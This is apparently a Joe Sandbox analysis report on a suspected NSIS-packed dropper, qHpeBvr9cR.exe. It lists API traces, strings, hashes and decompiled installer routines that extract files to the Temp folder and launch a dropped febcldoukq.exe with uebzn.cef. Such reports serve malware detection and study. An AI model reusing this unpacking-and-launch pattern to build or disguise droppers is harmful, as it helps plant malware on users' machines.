0x00402d99
0x00402d9f
0x00402da4
0x00402daa
0x00000000
0x00000000
0x00402db4
0x00402dbc
0x00402dbf
0x00402dc4
0x00402dc6
0x00402dc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402db4
0x00402dd7
0x00402ddd
0x00402ded
0x00402ded
0x00402df0
0x00402df6
0x00402df8
0x00000000
0x00402d16

APIs

GetTickCount.KERNEL32 ref: 00402C9C
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\qHpeBvr9cR.exe,00000400), ref: 00402CB8

Part of subcall function 004059D2: GetFileAttributesA.KERNELBASE(00000003,00402CCB,C:\Users\user\Desktop\qHpeBvr9cR.exe,80000000,00000003), ref: 004059D6
Part of subcall function 004059D2: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059F8

GetFileSize.KERNEL32(00000000,00000000,0042C000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\qHpeBvr9cR.exe,C:\Users\user\Desktop\qHpeBvr9cR.exe,80000000,00000003), ref: 00402D01
GlobalAlloc.KERNELBASE(00000040,?), ref: 00402E48

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402EDF
soft, xrefs: 00402D78
Null, xrefs: 00402D81
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C95, 00402E60
C:\Users\user\Desktop, xrefs: 00402CE3, 00402CE8, 00402CEE
C:\Users\user\Desktop\qHpeBvr9cR.exe, xrefs: 00402CA2, 00402CB1, 00402CC5, 00402CE2
Error launching installer, xrefs: 00402CD8
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E91
"C:\Users\user\Desktop\qHpeBvr9cR.exe", xrefs: 00402C88
Inst, xrefs: 00402D6F

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\qHpeBvr9cR.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\qHpeBvr9cR.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-1348030957
Opcode ID: db2cc017f95917450d40f5227920ffc37e6356ca021c4e3099f4478149133015
Instruction ID: 0e9652230e662f00d3bd1f21a88cc9cb10148a41a7cca4fb595923dc4d2ca5a0
Opcode Fuzzy Hash: db2cc017f95917450d40f5227920ffc37e6356ca021c4e3099f4478149133015
Instruction Fuzzy Hash: 2461C231A40205ABDB20DF64DE89B9E77B9EB04319F20417BF604B62D1D7BC9D818B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00401734 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00401734(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E00402A0C(0x31);
				 *(_t85 - 0xc) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x28) & 0x00000007;
				_t33 = E0040585B(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E004057EE(E00405CFB(0x409c50, "C:\\Users\\alfons\\AppData\\Local\\Temp")), ??);
				} else {
					_push(0x409c50);
					E00405CFB();
				}
				E00405F5D(0x409c50);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405FF6(0x409c50);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x1c);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E004059B3(0x409c50);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E004059D2(0x409c50, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 8) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404FE7(0xffffffe2,  *(_t85 - 0xc));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x424008 =  *0x424008 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x424008;
						goto L32;
					} else {
						E00405CFB(0x40a450, 0x425000);
						E00405CFB(0x425000, 0x409c50);
						E00405D1D(_t75, 0x40a450, 0x409c50, 0x40a050,  *((intOrPtr*)(_t85 - 0x14)));
						E00405CFB(0x425000, 0x40a450);
						_t62 = E004055BC(0x40a050,  *(_t85 - 0x28) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x424008 =  &( *0x424008->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409c50);
								_push(0xfffffffa);
								E00404FE7();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404FE7(0xffffffea,  *(_t85 - 0xc));
				 *0x424034 =  *0x424034 + 1;
				_t43 = E00402F2E(_t77,  *((intOrPtr*)(_t85 - 0x20)),  *(_t85 - 8), _t75, _t75); // executed
				 *0x424034 =  *0x424034 - 1;
				__eflags =  *(_t85 - 0x1c) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 8), _t85 - 0x1c, _t75, _t85 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t85 - 8)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E00405D1D(_t75, _t80, 0x409c50, 0x409c50, 0xffffffee);
					} else {
						E00405D1D(_t75, _t80, 0x409c50, 0x409c50, 0xffffffe9);
						lstrcatA(0x409c50,  *(_t85 - 0xc));
					}
					_push(0x200010);
					_push(0x409c50);
					E004055BC();
					goto L29;
				}
				goto L33;
			}

0x00401734
0x0040173b
0x00401744
0x00401747
0x0040174a
0x0040174f
0x00401757
0x00401773
0x00401759
0x00401759
0x0040175a
0x0040175a
0x00401779
0x00401783
0x00401783
0x00401787
0x0040178a
0x0040178f
0x00401791
0x00401793
0x00401798
0x00401798
0x004017a3
0x004017a3
0x004017b4
0x004017b6
0x004017b6
0x004017b7
0x004017b7
0x004017ba
0x004017bd
0x004017c0
0x004017c0
0x004017c7
0x004017d6
0x004017db
0x004017de
0x004017e1
0x00000000
0x00000000
0x004017e3
0x004017e6
0x00401840
0x00401845
0x004015a8
0x00402672
0x00402672
0x004028a1
0x004028a4
0x004028a4
0x00000000
0x004017e8
0x004017ee
0x004017f9
0x00401806
0x00401811
0x00401827
0x00401827
0x0040182a
0x00000000
0x00401830
0x00401830
0x00401831
0x0040184e
0x004028aa
0x004028aa
0x004028aa
0x00401833
0x00401833
0x00401834
0x00401492
0x00402224
0x00402224
0x00402224
0x00401831
0x0040182a
0x004028ac
0x004028b0
0x004028b0
0x0040185e
0x00401863
0x00401871
0x00401876
0x0040187c
0x00401880
0x00401882
0x0040188a
0x00401896
0x00401884
0x00401884
0x00401888
0x00000000
0x00000000
0x00401888
0x0040189f
0x004018a5
0x004018a7
0x00000000
0x004018ad
0x004018ad
0x004018b0
0x004018c8
0x004018b2
0x004018b5
0x004018be
0x004018be
0x004018cd
0x004018d2
0x0040221f
0x00000000
0x0040221f
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,"C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,"C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef,"C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef,00000000,00000000,"C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 00405CFB: lstrcpynA.KERNEL32(?,?,00000400,004032FF,00423780,NSIS Error), ref: 00405D08

Part of subcall function 00404FE7: lstrlenA.KERNEL32(0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000,?), ref: 00405020
Part of subcall function 00404FE7: lstrlenA.KERNEL32(00402C60,0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000), ref: 00405030
Part of subcall function 00404FE7: lstrcatA.KERNEL32(0041FD58,00402C60,00402C60,0041FD58,00000000,00000000,00000000), ref: 00405043
Part of subcall function 00404FE7: SetWindowTextA.USER32(0041FD58,0041FD58), ref: 00405055
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040507B
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405095
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050A3

Strings

"C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2
C:\Users\user\AppData\Local\Temp, xrefs: 00401761

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef$C:\Users\user\AppData\Local\Temp
API String ID: 1941528284-4149166923
Opcode ID: a0738bd6af5fe49f804141574639d4b3e913ec42b508a49906380faa70039aab
Instruction ID: 259d77b7a90db29c7fa011e8bbfdec82aa2f97c3204575e8132969168071ea88
Opcode Fuzzy Hash: a0738bd6af5fe49f804141574639d4b3e913ec42b508a49906380faa70039aab
Instruction Fuzzy Hash: E041C332904519BADF107BA5CD45EAF3669EF41328B20823BF522F11E1D73C4A419F6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00402F2E(void* __ecx, void _a4, void* _a8, void* _a12, long _a16) {
				long _v8;
				intOrPtr _v12;
				void _t31;
				intOrPtr _t32;
				int _t35;
				long _t36;
				int _t37;
				long _t38;
				int _t40;
				int _t42;
				long _t43;
				long _t44;
				long _t55;
				long _t57;

				_t31 = _a4;
				if(_t31 >= 0) {
					_t44 = _t31 +  *0x423fd8;
					 *0x417124 = _t44;
					SetFilePointer( *0x409018, _t44, 0, 0); // executed
				}
				_t57 = 4;
				_t32 = E00403059(_t57);
				if(_t32 >= 0) {
					_t35 = ReadFile( *0x409018,  &_a4, _t57,  &_v8, 0); // executed
					if(_t35 == 0 || _v8 != _t57) {
						L23:
						_push(0xfffffffd);
						goto L24;
					} else {
						 *0x417124 =  *0x417124 + _t57;
						_t32 = E00403059(_a4);
						_v12 = _t32;
						if(_t32 >= 0) {
							if(_a12 != 0) {
								_t36 = _a4;
								if(_t36 >= _a16) {
									_t36 = _a16;
								}
								_t37 = ReadFile( *0x409018, _a12, _t36,  &_v8, 0); // executed
								if(_t37 == 0) {
									goto L23;
								} else {
									_t38 = _v8;
									 *0x417124 =  *0x417124 + _t38;
									_v12 = _t38;
									goto L22;
								}
							} else {
								if(_a4 <= 0) {
									L22:
									_t32 = _v12;
								} else {
									while(1) {
										_t55 = 0x4000;
										if(_a4 < 0x4000) {
											_t55 = _a4;
										}
										_t40 = ReadFile( *0x409018, 0x413120, _t55,  &_v8, 0); // executed
										if(_t40 == 0 || _t55 != _v8) {
											goto L23;
										}
										_t42 = WriteFile(_a8, 0x413120, _v8,  &_a16, 0); // executed
										if(_t42 == 0 || _a16 != _t55) {
											_push(0xfffffffe);
											L24:
											_pop(_t32);
										} else {
											_t43 = _v8;
											_v12 = _v12 + _t43;
											_a4 = _a4 - _t43;
											 *0x417124 =  *0x417124 + _t43;
											if(_a4 > 0) {
												continue;
											} else {
												goto L22;
											}
										}
										goto L25;
									}
									goto L23;
								}
							}
						}
					}
				}
				L25:
				return _t32;
			}

0x00402f33
0x00402f3d
0x00402f46
0x00402f4a
0x00402f55
0x00402f55
0x00402f5d
0x00402f5f
0x00402f66
0x00402f82
0x00402f86
0x0040304f
0x0040304f
0x00000000
0x00402f95
0x00402f98
0x00402f9e
0x00402fa5
0x00402fa8
0x00402fb1
0x0040301e
0x00403024
0x00403026
0x00403026
0x00403038
0x0040303c
0x00000000
0x0040303e
0x0040303e
0x00403041
0x00403047
0x00000000
0x00403047
0x00402fb3
0x00402fb6
0x0040304a
0x0040304a
0x00402fbc
0x00402fc1
0x00402fc1
0x00402fc9
0x00402fcb
0x00402fcb
0x00402fdc
0x00402fe0
0x00000000
0x00000000
0x00402ff4
0x00402ffc
0x0040301a
0x00403051
0x00403051
0x00403003
0x00403003
0x00403006
0x00403009
0x0040300c
0x00403016
0x00000000
0x00403018
0x00000000
0x00403018
0x00403016
0x00000000
0x00402ffc
0x00000000
0x00402fc1
0x00402fb6
0x00402fb1
0x00402fa8
0x00402f86
0x00403052
0x00403056

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,?,?,?,00402EDA,000000FF,00000000,00000000,?,?), ref: 00402F55
ReadFile.KERNELBASE(?,00000004,?,00000000,00000004,00000000,00000000,00000000,?,?,?,00402EDA,000000FF,00000000,00000000,?), ref: 00402F82
ReadFile.KERNELBASE(00413120,00004000,?,00000000,?,?,00402EDA,000000FF,00000000,00000000,?,?), ref: 00402FDC
WriteFile.KERNELBASE(00000000,00413120,?,000000FF,00000000,?,00402EDA,000000FF,00000000,00000000,?,?), ref: 00402FF4

Strings

1A, xrefs: 00402FBC

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: File$Read$PointerWrite
String ID: 1A
API String ID: 2113905535-9103686
Opcode ID: dfd426ff9148373ae1b38b35403f472367688ea5597ee74420ff68edd34f8a5f
Instruction ID: 82d5fff184c734a1787b3ae727349c02325da9e894cdbedb842e9025a389ee8f
Opcode Fuzzy Hash: dfd426ff9148373ae1b38b35403f472367688ea5597ee74420ff68edd34f8a5f
Instruction Fuzzy Hash: 9A313871501209FBCF21DF55DD44AAF3BB8EB44765F20403AF904A6291D3389F91DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403059 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00403059(intOrPtr _a4) {
				long _v4;
				void* __ecx;
				intOrPtr _t12;
				intOrPtr _t13;
				signed int _t14;
				void* _t16;
				void* _t17;
				long _t18;
				int _t21;
				intOrPtr _t34;
				long _t35;
				intOrPtr _t37;
				void* _t39;
				long _t40;
				intOrPtr _t53;

				_t35 =  *0x417124; // 0x54f53
				_t37 = _t35 -  *0x40b090 + _a4;
				 *0x423f8c = GetTickCount() + 0x1f4;
				if(_t37 <= 0) {
					L23:
					E00402BE9(1);
					return 0;
				}
				E00403207( *0x41f134);
				SetFilePointer( *0x409018,  *0x40b090, 0, 0); // executed
				 *0x41f130 = _t37;
				 *0x417120 = 0;
				while(1) {
					_t12 =  *0x417128; // 0x45a8d
					_t34 = 0x4000;
					_t13 = _t12 -  *0x41f134;
					if(_t13 <= 0x4000) {
						_t34 = _t13;
					}
					_t14 = E004031D5(0x413120, _t34); // executed
					if(_t14 == 0) {
						break;
					}
					 *0x41f134 =  *0x41f134 + _t34;
					 *0x40b0b0 = 0x413120;
					 *0x40b0b4 = _t34;
					L6:
					L6:
					if( *0x423f90 != 0 &&  *0x424020 == 0) {
						 *0x417120 =  *0x41f130 -  *0x417124 - _a4 +  *0x40b090;
						E00402BE9(0);
					}
					 *0x40b0b8 = 0x40b120;
					 *0x40b0bc = 0x8000; // executed
					_t16 = E00406184(0x40b098); // executed
					if(_t16 < 0) {
						goto L21;
					}
					_t39 =  *0x40b0b8; // 0x40e6f7
					_t40 = _t39 - 0x40b120;
					if(_t40 == 0) {
						__eflags =  *0x40b0b4; // 0x0
						if(__eflags != 0) {
							goto L21;
						}
						__eflags = _t34;
						if(_t34 == 0) {
							goto L21;
						}
						L17:
						_t18 =  *0x417124; // 0x54f53
						if(_t18 -  *0x40b090 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x409018, _t18, 0, 0); // executed
						goto L23;
					}
					_t21 = WriteFile( *0x409018, 0x40b120, _t40,  &_v4, 0); // executed
					if(_t21 == 0 || _t40 != _v4) {
						_push(0xfffffffe);
						L22:
						_pop(_t17);
						return _t17;
					} else {
						 *0x40b090 =  *0x40b090 + _t40;
						_t53 =  *0x40b0b4; // 0x0
						if(_t53 != 0) {
							goto L6;
						}
						goto L17;
					}
					L21:
					_push(0xfffffffd);
					goto L22;
				}
				return _t14 | 0xffffffff;
			}

0x0040305d
0x0040306a
0x0040307d
0x00403082
0x004031c3
0x004031c5
0x00000000
0x004031cb
0x0040308e
0x004030a1
0x004030a7
0x004030ad
0x004030b8
0x004030b8
0x004030bd
0x004030c2
0x004030ca
0x004030cc
0x004030cc
0x004030d5
0x004030dc
0x00000000
0x00000000
0x004030e2
0x004030e8
0x004030ee
0x00000000
0x004030f4
0x004030fa
0x0040311a
0x0040311f
0x00403124
0x0040312a
0x00403130
0x0040313a
0x00403141
0x00000000
0x00000000
0x00403143
0x00403149
0x0040314b
0x0040317f
0x00403185
0x00000000
0x00000000
0x00403187
0x00403189
0x00000000
0x00000000
0x0040318b
0x0040318b
0x0040319e
0x00000000
0x00000000
0x004031ad
0x00000000
0x004031ad
0x0040315b
0x00403163
0x004031ba
0x004031c0
0x004031c0
0x00000000
0x0040316b
0x0040316b
0x00403171
0x00403177
0x00000000
0x00000000
0x00000000
0x0040317d
0x004031be
0x004031be
0x00000000
0x004031be
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040306E

Part of subcall function 00403207: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EB3,?), ref: 00403215

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00402F64,00000004,00000000,00000000,00000000,?,?,?,00402EDA,000000FF,00000000), ref: 004030A1
WriteFile.KERNELBASE(0040B120,0040E6F7,00000000,00000000,00413120,00004000,?,00000000,?,00402F64,00000004,00000000,00000000,00000000,?,?), ref: 0040315B
SetFilePointer.KERNELBASE(00054F53,00000000,00000000,00413120,00004000,?,00000000,?,00402F64,00000004,00000000,00000000,00000000,?,?), ref: 004031AD

Strings

1A, xrefs: 004030CE

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: 1A
API String ID: 2146148272-9103686
Opcode ID: 0cf6868b9e9647ca11da496d61e231f9210f9a3003146b68b5f630b0a2b16ff6
Instruction ID: 4dd4975a9f59093c3e0d8581b597c69eeb1c8b76cfa1fe2ad7fe21498de3e5f3
Opcode Fuzzy Hash: 0cf6868b9e9647ca11da496d61e231f9210f9a3003146b68b5f630b0a2b16ff6
Instruction Fuzzy Hash: 16418D72518201AFC7109F29EE849673BBDF708356714423BEA60B62E0D7386D098B9D

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E004015B3(struct _SECURITY_ATTRIBUTES* __ebx) {
				struct _SECURITY_ATTRIBUTES** _t10;
				int _t19;
				struct _SECURITY_ATTRIBUTES* _t20;
				signed char _t22;
				struct _SECURITY_ATTRIBUTES* _t23;
				CHAR* _t25;
				struct _SECURITY_ATTRIBUTES** _t29;
				void* _t30;

				_t23 = __ebx;
				_t25 = E00402A0C(0xfffffff0);
				_t10 = E00405882(_t25);
				_t27 = _t10;
				if(_t10 != __ebx) {
					do {
						_t29 = E00405819(_t27, 0x5c);
						 *_t29 = _t23;
						 *((char*)(_t30 + 0xb)) =  *_t29;
						_t19 = CreateDirectoryA(_t25, _t23); // executed
						if(_t19 == 0) {
							if(GetLastError() != 0xb7) {
								L4:
								 *((intOrPtr*)(_t30 - 4)) =  *((intOrPtr*)(_t30 - 4)) + 1;
							} else {
								_t22 = GetFileAttributesA(_t25); // executed
								if((_t22 & 0x00000010) == 0) {
									goto L4;
								}
							}
						}
						_t20 =  *((intOrPtr*)(_t30 + 0xb));
						 *_t29 = _t20;
						_t27 =  &(_t29[0]);
					} while (_t20 != _t23);
				}
				if( *((intOrPtr*)(_t30 - 0x24)) == _t23) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00405CFB("C:\\Users\\alfons\\AppData\\Local\\Temp", _t25);
					SetCurrentDirectoryA(_t25); // executed
				}
				 *0x424008 =  *0x424008 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x004015b3
0x004015ba
0x004015bd
0x004015c2
0x004015c6
0x004015c8
0x004015d0
0x004015d6
0x004015d8
0x004015db
0x004015e3
0x004015f0
0x004015fd
0x004015fd
0x004015f2
0x004015f3
0x004015fb
0x00000000
0x00000000
0x004015fb
0x004015f0
0x00401600
0x00401603
0x00401605
0x00401606
0x004015c8
0x0040160d
0x0040162d
0x0040217a
0x0040160f
0x00401611
0x0040161c
0x00401622
0x00401622
0x004028a4
0x004028b0

APIs

Part of subcall function 00405882: CharNextA.USER32(4V@,?,C:\,00000000,004058E6,C:\,C:\,?,?,766DF560,00405634,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 00405890
Part of subcall function 00405882: CharNextA.USER32(00000000), ref: 00405895
Part of subcall function 00405882: CharNextA.USER32(00000000), ref: 004058A4

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401617

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 3751793516-1943935188
Opcode ID: 50ec374d6edcfb4941514268ae499aae1e4c08cda85895cc054099465040d3ce
Instruction ID: d0a9f9296d723caddbd0f60560613e174b6a475f07d6f089b0aabedb845a292b
Opcode Fuzzy Hash: 50ec374d6edcfb4941514268ae499aae1e4c08cda85895cc054099465040d3ce
Instruction Fuzzy Hash: CE010832908140AFD7217B755D4497F37B4DE91369724463FF891B22E1C63C0D42962E

Uniqueness

Uniqueness Score: -1.00%

Function 0040601D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040601D(intOrPtr _a4) {
				char _v292;
				int _t10;
				struct HINSTANCE__* _t14;
				void* _t16;
				void* _t21;

				_t10 = GetSystemDirectoryA( &_v292, 0x104);
				if(_t10 > 0x104) {
					_t10 = 0;
				}
				if(_t10 == 0 ||  *((char*)(_t21 + _t10 - 0x121)) == 0x5c) {
					_t16 = 1;
				} else {
					_t16 = 0;
				}
				_t5 = _t16 + 0x409010; // 0x5c
				wsprintfA(_t21 + _t10 - 0x120, "%s%s.dll", _t5, _a4);
				_t14 = LoadLibraryA( &_v292); // executed
				return _t14;
			}

0x00406034
0x0040603d
0x0040603f
0x0040603f
0x00406043
0x00406055
0x0040604f
0x0040604f
0x0040604f
0x00406059
0x0040606d
0x0040607d
0x00406084

APIs

GetSystemDirectoryA.KERNEL32 ref: 00406034
wsprintfA.USER32 ref: 0040606D
LoadLibraryA.KERNELBASE(?), ref: 0040607D

Strings

%s%s.dll, xrefs: 00406067
\, xrefs: 00406045

Memory Dump Source

